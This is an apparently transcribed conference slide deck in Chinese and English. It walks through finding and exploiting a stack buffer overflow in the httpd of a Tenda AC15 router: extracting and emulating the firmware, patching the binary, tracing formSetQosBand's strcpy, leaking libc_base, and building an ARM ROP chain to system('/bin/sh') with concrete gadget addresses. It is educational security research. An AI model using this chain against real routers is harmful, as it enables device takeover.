從零開始的_IoT___Router_之旅.pdf

Transcript

2. $Whoami Eason / Easoncoolboy • 台北科技大學 is1ab • 奧義智慧科技 資安實習研究員 • Red team LLM / Vulnerability Discovery • CTF Pwn 我是誰 ??? ★ Gmail: s10511121@gmail.com ★ Discord: eason8912004
3. $ LINK • My Pwn notes Share Projects • Firmware and patched httpd https://drive.google.com/drive/folders/1Yd9M0l_j4HOlEkCoGQE QLOVSKYqltOYs?usp=drive_link
4. $ Table of Content • Basic Pwn • IoT Security • Firmware Simulation • Analyze Firmware • Attack
5. Basic Pwn
6. $ Basic Pwn • Buffer overflow • Ret2libc
7. IoT Security
8. $ IoT Not Security?
9. $ IoT Not Security? • 掃地機器人 • 寵物攝影機 • Router • NAS • Printer LINK LINK LINK LINK We will reproduce!!!!!
10. $ Why IoT Not Security?
11. $ Why IoT Not Security? • 效率 > 安全 • 用 C 寫，但開發不好 • 架構不支援保護機制 (MIPS NO NX) • 開發者 backdoor • 串接第三方庫時寫爛 • 沒再更新 Firmware
12. $ Why Router Is My Target ? • 因為好打 ( ? • 基本上每間企業一定都會有 • 拿來當肉雞或跳板 • 通常都是同一型號，打下一台等於很多台 • 挖礦 • 勒索
13. $ My Target
14. $ My Target Tenda AC-15
15. $ Environment • Vmware pro • ubuntu 22.04 • Qemu ARM arch - static
16. gdb-multiarch $ Reverse & debugger • IDA pro 9.0 beta 自己手搓 ( Linux 版) • Pwndbg • Pwngdb
17. $ Reverse & debugger • IDA pro 9.0 beta 自己手搓 ( Linux 版) • Pwndbg • Pwngdb gdb-multiarch
18. $ Reverse & debugger • Ghidra (Free)
19. $ Reverse & debugger (Free) • IDA free 無法分析 Arm 架構 • Ghidra
20. $ Find Firmware https://www.tenda.com.cn/download/detail-2680.html
21. Extract Firmware
22. $ Extract Firmware • 先解壓縮，之後進去解壓縮的 file，會看到一個 .bin
23. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
24. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
25. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin Binwalk 會掃描韌體映像檔，辨別不同的類型和結構。 例如 : SquashFS、uImage、zImage、TRX header。
26. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin 解包失敗可以先裝這個 : https://github.com/devttys0/sasquatch
27. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin 解包失敗可以先裝這個 : https://github.com/devttys0/sasquatch fix.txt : https://gist.github.com/0rphon/8e7ae101ab2a2d08eaab2a226aa8e90c
28. $ Extract Firmware ➔ binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin OR ➔ binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
29. Emulate Firmware
30. $ Emulate Firmware
31. $ Emulate Firmware ➔ sudo cp $(which qemu-arm-static) ./
32. $ Emulate Firmware ➔ sudo cp $(which qemu-arm-static) ./ ➔ mv qemu-arm-static qemu
33. $ Emulate Firmware ➔ sudo cp $(which qemu-arm-static) ./ ➔ mv qemu-arm-static qemu ➔ sudo chroot ./ ./qemu ./bin/httpd
34. $ Emulate Firmware ➔ sudo cp $(which qemu-arm-static) ./ ➔ mv qemu-arm-static qemu ➔ sudo chroot ./ ./qemu ./bin/httpd 好像卡住了...
35. $ Patched httpd - Part 1 • “ Ctrl + F ” search “ WeLoveLinux ”
36. $ Patched httpd - Part 1
37. $ Patched httpd - Part 1
38. $ Patched httpd - Part 1 • check_network() return value is R0
39. x64 (64-bit) Calling Convention :
40. x64 (64-bit) Calling Convention : Windows : (整數) RCX RDX R8 R9 Linux、macOS : (整數) RDI RSI RDX RCX R8 R9 返回值 : 整數或指標通常儲存在 RAX。
41. x64 (64-bit) Calling Convention : Windows : (整數) RCX RDX R8 R9 Linux、macOS : (整數) RDI RSI RDX RCX R8 R9 返回值 : 整數或指標通常儲存在 RAX。 AArch32 (ARM 32-bit) Calling Convention :
42. x64 (64-bit) Calling Convention : Windows : (整數) RCX RDX R8 R9 Linux、macOS : (整數) RDI RSI RDX RCX R8 R9 返回值 : 整數或指標通常儲存在 RAX。 AArch32 (ARM 32-bit) Calling Convention : 傳遞順序 : (整數) R0 R1 R2 R3 返回值 : 儲存在 R0。
43. x64 (64-bit) Calling Convention : Windows : (整數) RCX RDX R8 R9 Linux、macOS : (整數) RDI RSI RDX RCX R8 R9 返回值 : 整數或指標通常儲存在 RAX。 AArch32 (ARM 32-bit) Calling Convention : 傳遞順序 : (整數) R0 R1 R2 R3 返回值 : 儲存在 R0。 AArch64 (ARM 64-bit) Calling Convention :
44. x64 (64-bit) Calling Convention : Windows : (整數) RCX RDX R8 R9 Linux、macOS : (整數) RDI RSI RDX RCX R8 R9 返回值 : 整數或指標通常儲存在 RAX。 AArch32 (ARM 32-bit) Calling Convention : 傳遞順序 : (整數) R0 R1 R2 R3 返回值 : 儲存在 R0。 AArch64 (ARM 64-bit) Calling Convention : 傳遞順序 : (整數) X0 X1 X2 X3 X4 X5 X6 X7 返回值 : 整數或指標儲存在 X0。
45. x64 (64-bit) Calling Convention : Windows : (整數) RCX Linux、macOS : (整數) 返回值 : 整數或指標通常儲存在 RAX。 AArch32 (ARM 32-bit) Calling Convention : 傳遞順序 : (整數) R0 R1 R2 R3 返回值 : 儲存在 R0。 AArch64 (ARM 64-bit) Calling Convention : 傳遞順序 : (整數) X0 X7 返回值 : 整數或指標儲存在 X0。
46. $ Patched httpd - Part 1 • check_network() return value is R0
47. $ Patched httpd - Part 1 • check_network() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BGT ( Branch if Greater Than )
48. $ Patched httpd - Part 1 MOV R3,R0 MOV R3,#1 • check_network() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BGT ( Branch if Greater Than )
49. $ Patched httpd - Part 1 MOV R3,R0 ( 0030a0e1 ) MOV R3,#1 ( ? )
50. $ Patched httpd - Part 1
51. $ Patched httpd - Part 1
52. $ Patched httpd - Part 1 • check_network() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BGT ( Branch if Greater Than ) MOV R3,R0 ( 0030a0e1 ) MOV R3,#1 ( 0130A0E3 )
53. $ Patched httpd - Part 1
54. $ Patched httpd - Part 1
55. $ Patched httpd - Part 1
56. $ Patched httpd - Part 2 • 死在 cfm check
57. $ Patched httpd - Part 2
58. $ Patched httpd - Part 2
59. • ConnectCfm() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BNE ( Branch if Not Equal ) 如果不是 0 就走右邊。 $ Patched httpd - Part 2
60. • ConnectCfm() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BNE ( Branch if Not Equal ) 如果不是 0 就走右邊。 $ Patched httpd - Part 2 MOV R3,R0 ( 0030a0e1 ) MOV R3,#1 ( ? )
61. $ Patched httpd - Part 2
62. • ConnectCfm() return value is R0 • MOV R3, R0 and then CMP R3, #0 • BNE ( Branch if Not Equal ) 如果不是 0 就走右邊。 $ Patched httpd - Part 2 MOV R3,R0 ( 0030a0e1 ) MOV R3,#1 (0130A0E3 )
63. $ Patched httpd - Part 2
64. 成功了，但 ip 是不是怪怪的 ? $ Patched httpd - Part 2
65. Network Problem
66. • “ Ctrl + F ” Search “ httpd listen ip = ” $ Network Problem
67. $ Network Problem • “ Ctrl + F ” Search “ httpd listen ip = ” • In sub_1B84C
68. $ Network Problem • “ Ctrl + F ” Search “ httpd listen ip = ” • In sub_1B84C
69. $ Network Problem • “ Ctrl + F ” Search “ httpd listen ip = ” • In sub_1B84C • v8 is s.sa_data[2]
70. $ Network Problem • s.sa_data[2] is a1
71. $ Network Problem • s.sa_data[2] is a1
72. $ Network Problem • 尋找誰調用 sub_1B84C xref find sub_29818 • s.sa_data[2] is a1
73. $ Network Problem • v8 is g_lan_ip
74. $ Network Problem • v8 is g_lan_ip • xref trace g_lan_ip
75. $ Network Problem • v8 is g_lan_ip • xref trace g_lan_ip • sub_2E420
76. $ Network Problem 跟 g_lan_ip 有關 :
77. $ Network Problem 跟 g_lan_ip 有關 : • s • v19 • v16 • getIfIp() • LanIfName = getLanIfName()
78. $ Network Problem 跟 g_lan_ip 有關 : • s ( array ) • v19 ( array ) • v16 ( array ) • getIfIp() • LanIfName = getLanIfName()
79. $ Network Problem 跟 g_lan_ip 有關 : • s ( array ) • v19 ( array ) • v16 ( array ) • getIfIp() • LanIfName = getLanIfName()
80. $ Network Problem ( search getLanIfName() in lib ) • Search getLanIfName()
81. • Search getLanIfName() ➔ grep -rn getLanIfName $ Network Problem ( search getLanIfName() in lib )
82. • Search getLanIfName() • libtpi.so and libcommon.so ➔ grep -rn getLanIfName $ Network Problem ( search getLanIfName() in lib )
83. • libtpi.so and libcommon.so ➔ grep -rn getLanIfName • Search getLanIfName() $ Network Problem ( search getLanIfName() in lib )
84. • Search getLanIfName() in libcommon.so $ Network Problem ( search getLanIfName() in libcommon.so )
85. • Search getLanIfName() in libcommon.so $ Network Problem ( search getLanIfName() in libcommon.so )
86. • Search getLanIfName() in libcommon.so $ Network Problem ( search getLanIfName() in libcommon.so ) Important !!!
87. $ Network Problem ( search getLanIfName() in libcommon.so ) Important !!! • Search getLanIfName() in libcommon.so
88. • Search get_eth_name() $ Network Problem ( search get_eth_name() in lib ) ➔ grep –rn get_eth_name
89. • Search get_eth_name() $ Network Problem ( search get_eth_name() in lib ) ➔ grep –rn get_eth_name • libtpi.so and libChipApi.so and libcommon.so
90. • Search get_eth_name() $ Network Problem ( search get_eth_name() in lib ) ➔ grep –rn get_eth_name • libtpi.so and libChipApi.so and libcommon.so
91. • Search get_eth_name() $ Network Problem ( search get_eth_name() in lib ) ➔ grep –rn get_eth_name • libtpi.so and libChipApi.so and libcommon.so
92. $ Network Problem ( search getLanIfName()) httpd
93. $ Network Problem ( search getLanIfName()) httpd libcommon.so
94. $ Network Problem ( search getLanIfName()) httpd libcommon.so libChipApi.so
95. $ Network Problem 跟 g_lan_ip 有關 : • s ( array ) • v19 ( array ) • v16 ( array ) • getIfIp() • LanIfName = getLanIfName() = br0
96. $ Network Problem ( search getIfIp() ) • getIfIp() • libcommon.so ➔ grep -rn getIfIp
97. $ Network Problem ( getIfIp() in libcommon.so ) • getIfIp() Ioctl ( fd , 0x8915u , dest )
98. $ Network Problem ( getIfIp() in libcommon.so ) • getIfIp() Ioctl ( fd , 0x8915u , dest ) I/O 控制系統調用 作用是向設備驅動程式發送控制命令 ioctl() 會返回一個整數，表示操作的結果
99. $ Network Problem ( getIfIp() in libcommon.so ) • getIfIp() Ioctl ( fd , 0x8915u , dest ) I/O 控制系統調用 作用是向設備驅動程式發送控制命令 ioctl() 會返回一個整數，表示操作的結果 ( SIOCGIFADDR ) 請求碼
100. $ Network Problem
101. $ Network Problem
102. Ioctl ( int fd, int request, (char*) argstruct ) $ Network Problem
103. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct )
104. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
105. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) 0x8915 socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
106. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) 0x8915 Search <linux/sockios.h> socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
107. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) 0x8915 ➔ Subl /usr/include/linux/sockios.h Search <linux/sockios.h> socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
108. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) 0x8915 dest Search <linux/sockios.h> ➔ Subl /usr/include/linux/sockios.h socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
109. $ Network Problem Ioctl ( int fd, int request, (char*) argstruct ) 0x8915 dest (br0) Search <linux/sockios.h> ➔ Subl /usr/include/linux/sockios.h socket (AF_INET, SOCK_DGRAM, 0) 創建一個 IPv4 的 UDP socket
110. 跟 g_lan_ip 有關 : • s ( array ) • v19 ( array ) • v16 ( array ) • getIfIp() -> get IP address • LanifName = getLanIfName() = br0 $ Network Problem
111. ➔ sudo apt install net-tools ➔ sudo apt install uml-utilities bridge-utils ➔ sudo brctl addbr br0 ➔ sudo brctl addif br0 ens33 ➔ sudo ifconfig br0 up ➔ sudo dhclient br0 $ Network Problem 結論 : • 來自 br0 網卡 • 建一張 br0 網卡
112. $ Network Problem 成功連接 !
113. Symbolic link Problem
114. $ Symbolic link Problem
115. $ Symbolic link Problem
116. $ Symbolic link Problem
117. $ Symbolic link Problem • Code 是透過 symbolic link 找到 html resource • symbolic link 爛了
118. $ Symbolic link Problem ➔ rm -rf webroot ➔ sudo ln -s webroot_ro/ webroot • Code 是透過 symbolic link 找到 html resource • symbolic link 爛了
119. $ Symbolic link Problem
120. $ Symbolic link Problem
121. Debug environment
122. $ Debug environment • 用 gdb-multiarch 可以去 debug 不同架構的 binary ➔ sudo apt install gdb-multiarch
123. $ Debug environment • 用 gdb-multiarch 可以去 debug 不同架構的 binary ➔ sudo apt install gdb-multiarch • 用 qemu 模擬時，開一個 port 作為 gdb server，連上去 ➔ sudo chroot ./ ./qemu -g 30000 ./bin/httpd
124. $ Debug environment • 用 gdb-multiarch 可以去 debug 不同架構的 binary ➔ sudo apt install gdb-multiarch • 用 qemu 模擬時，開一個 port 作為 gdb server，連上去 ➔ gdb-multiarch ./bin/httpd ➔ target remote :30000 ➔ c • 之後開一個debug，remote上去 ➔ sudo chroot ./ ./qemu -g 30000 ./bin/httpd
125. $ Debug environment • 用 gdb-multiarch 可以去 debug不同架構的binary ➔ sudo apt install gdb-multiarch ➔ sudo chroot ./ ./qemu -g 30000 ./bin/httpd_patch • 用qemu模擬時，開一個port作為gdb server，連上去 ➔ gdb-multiarch ./bin/httpd_patch ➔ target remote :30000 ➔ c • 之後開一個debug，remote上去 • 按下 c 會開始執行
126. Analyze Httpd
127. $ Analyze Httpd 檔案資訊 :
128. $ Analyze Httpd 檔案資訊 :
129. $ Analyze Httpd • No debug symbol
130. $ Analyze Httpd 保護機制 :
131. $ Analyze Httpd 保護機制 : • 沒有 canary，如果有 buffer overflow 可以直接利用
132. • First, you can find which service does it have? $ Analyze Httpd
133. • First, you can find which service does it have? • Webs 開頭 $ Analyze Httpd ( find http server)
134. • First, you can find which service does it have? • Webs 開頭 • Form $ Analyze Httpd ( find http server)
135. $ Analyze Httpd ( find http server) • First, you can find which service does it have? • Webs 開頭 • Form • goform
136. $ Analyze Httpd ( find http server) • First, you can find which service does it have? • Webs 開頭 • Form • goform • Http server : GoAhead
137. • Second, you can find Http server version • Version : 2.1.8 $ Analyze Httpd ( find http server version )
138. $ Analyze Httpd • Third, use “goform” search something
139. $ Analyze Httpd • Third, use “goform” search something • sub_2E9EC()
140. $ Analyze Httpd • sub_2E9EC() = initWebs() https://github.com/Icathian-Rain/Tenda/blob/main/AC5/1.md
141. • sub_ 179A8 = websUrlHandlerDefine() $ Analyze Httpd ( initWebs() )
142. • sub_ 179A8 = websUrlHandlerDefine() • &unk_DC618 = DCB 0 = “” $ Analyze Httpd ( initWebs() )
143. $ Analyze Httpd • sub_42378() have some many many route https://fengfan349.github.io/2017/05/27/2017-05-27/
144. $ Analyze Httpd • You can think which route we need to analyze
145. $ Analyze Httpd • You can think which route we need to analyze • You can touch is important !!!
146. $ Analyze Httpd ( formSetQosBand() ) • formSetQosBand()
147. $ Analyze Httpd ( formSetQosBand() ) • formSetQosBand()
148. $ Analyze Httpd ( formSetQosBand() ) • 透過 sub_2BA8C() 取得 “list” 的值，然後放到 v8 • 然後將 v8 傳遞到 sub_7DD20() 裡面
149. $ Analyze Httpd ( formSetQosBand() ) • 透過 sub_2BA8C() 取得 “list” 的值，然後放到 v8 • 然後將 v8 傳遞到 sub_7DD20() 裡面 • 主要功能是接收並處理用戶通過網頁介面提交的 QoS（Quality of Service）頻寬控制規則列表。
150. $ Analyze Httpd ( sub_7DD20() in formSetQosBand() ) • a1 is your data • src is a1 • strcpy a1 to dest
151. • a1 is list • src is a1 • strcpy a1 to dest $ Analyze Httpd ( sub_7DD20() in formSetQosBand() )
152. $ Analyze Httpd browser formsetQosBand 表單 用戶 sub_7dd20 解析和應用 QoS 規則 處理表單資料 list data
153. $ Analyze Httpd aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa ....... browser formsetQosBand 表單 用戶 sub_7dd20 解析和應用 QoS 規則 處理表單資料 list data
154. $ Analyze Httpd aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa ....... browser formsetQosBand 表單 用戶 sub_7dd20 解析和應用 QoS 規則 處理表單資料 list data
155. IDA pro error : • dest [580] • memset (dest , 0 , 576) $ Analyze Httpd ( sub_7DD20() in formSetQosBand() )
156. IDA pro error : • dest [580] • memset (dest , 0 , 576) memset (dest, 0 , sizeof(dest)) $ Analyze Httpd ( sub_7DD20() in formSetQosBand() )
157. IDA pro error : • dest [580] -> dest [256] $ Analyze Httpd 解決方式 : Ghidra
159. IDA pro error : • dest [580] 位置在 bp - 0x260 $ Analyze Httpd ( sub_7DD20() in formSetQosBand() )
160. $ Analyze Httpd (gdb) • Locat sub_7dd20() • 0x7dd78 : r2 = fp – 0x260 • 0x7dd7c : r3 = 0x100 • 0x7dd80 : r0 = r2 • 0x7dd84 : r1 = 0 • 0x7dd88 : r2 = r3 = 0x100 • 0x7dd8c : memset() memset (dest, 0 , sizeof(dest))
161. $ Analyze Httpd (gdb) • Locat sub_7dd20() • 0x7dd78 : r2 = fp – 0x260 • 0x7dd7c : r3 = 0x100 • 0x7dd80 : r0 = r2 • 0x7dd84 : r1 = 0 • 0x7dd88 : r2 = r3 = 0x100 • 0x7dd8c : memset() memset (dest, 0 , sizeof(dest)) memset ( fp – 0x260 , 0 , 0x100 )
162. $ Analyze Httpd (gdb) • Locat sub_7dd20() • 0x7dd78 : r2 = fp – 0x260 • 0x7dd7c : r3 = 0x100 • 0x7dd80 : r0 = r2 • 0x7dd84 : r1 = 0 • 0x7dd88 : r2 = r3 = 0x100 • 0x7dd8c : memset() memset (dest, 0 , sizeof(dest)) memset ( fp – 0x260 , 0 , 0x100 )
163. IDA pro set lvar type : • dest [256] 位置在 bp - 0x260 • memset (dest, 0 , sizeof(dest)) $ Analyze Httpd
164. $ Analyze Httpd • dest is 256 bytes, if you send > 256 bytes, you have a buffer overflow.
165. Attack
166. $ Attack https://www.opentech.com.tw/try/01jy82017215022958/nkcqkdnuii2017215022958.pdf
167. $ Attack ( find libc_base ) • call “system(‘/bin/sh’)” • 前面有用 puts ，利用這個 puts 來 leak libc_base。
168. $ Attack ( find libc_base ) • gdb trace，設斷點 0x2E4FC，然後 ni，找到 puts 的 address。
169. $ Attack ( find libc_base ) • gdb trace，設斷點，然後 ni，找到 puts 的 address。 • puts_address : 0x3fdd1cd4
170. $ Attack ( find libc_base ) • gdb trace，設斷點 0x2E4FC，然後 ni，找到 puts 的 address。 • puts_address : 0x3fdd1cd4
171. $ Attack ( find libc_base ) • gdb trace，設斷點 0x2E4FC，然後 ni，找到 puts 的 address。 • puts_address : 0x3fdd1cd4 • 找到 puts 在 libc 裡的 offset
172. trace，設斷點，然後 ，找到 puts 的 address。 • puts_address : 0x3fdd1cd4 找到 puts 裡的 offset • puts_libc_offset : 0x35cd4 ➔ readelf -a /lib/libc.so.0 | grep puts $ Attack ( find libc_base )
173. trace，設斷點，然後 ，找到 puts 的 address。 • puts_address : 0x3fdd1cd4 找到 puts 裡的 offset • puts_libc_offset : 0x35cd4 • puts_address - puts_libc_offset = libc_base 0x3fdd1cd4 - 0x35cd4 = 0x3fd9c000 $ Attack ( find libc_base )
174. $ Attack ( find gadgets) ➔ ROPgadget --binary ./lib/libc.so.0 ➔ readelf -a libc.so.0 | grep system
175. $ Attack ( find gadgets) GADGET ADDRESS pop {r3, pc} 0x00018298 libc@system 0x0005a270 mov r0, sp ; blx r3 0x00040cb8 ➔ ROPgadget --binary ./lib/libc.so.0 ➔ readelf -a libc.so.0 | grep system
176. 記憶體空間 aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa r0 r3 sp pc 高位址 stack frame 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00
177. • return address 跳上 pop r3 ,pc r0 r3 sp - pop r3 gadget address pc - pop r3 gadget address 記憶體空間 aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa 高位址 stack frame 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp pc
178. r0 r3 - libc@system sp - libc@system pc - pop r3 gadget address 記憶體空間 aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa 高位址 stack frame 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp pc • 執行 pop r3。把 sp 指到的 8 bytes 的 address 放入 r3。
179. r0 r3 - libc@system sp - mov r0 gadget pc - Mov r0, sp; blx r3 aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa 高位址 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp Mov r0, sp; blx r3 pc • 執行 pop pc。把 sp 指到的 address 放入 pc。
180. aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa 高位址 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp Mov r0, sp; blx r3 r0 - /bin/sh\x00 address r3 - libc@system sp - /bin/sh\x00 address pc - mov r0 gadget pc • 執行 mov r0, sp，把 sp 指到的 address 放入 r0。
181. aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa 高位址 低位址 Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp • 執行 blx r3 。 r0 is /bin/sh\x00 Mov r0, sp; blx r3 pc r0 - /bin/sh\x00 address r3 - libc@system sp - /bin/sh\x00 address pc - mov r0 gadget
182. 記憶體空間 aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa aaaaaaaaaaaa stack frame Pop {r3,pc} libc@system Mov r0, sp; blx r3 /bin/sh\x00 sp pc
183. THANK YOU FOR YOUR LISTENING
184. https://www.youtube.com/watch?v=Zp0TD1qcKAg Binary exploitation VS web security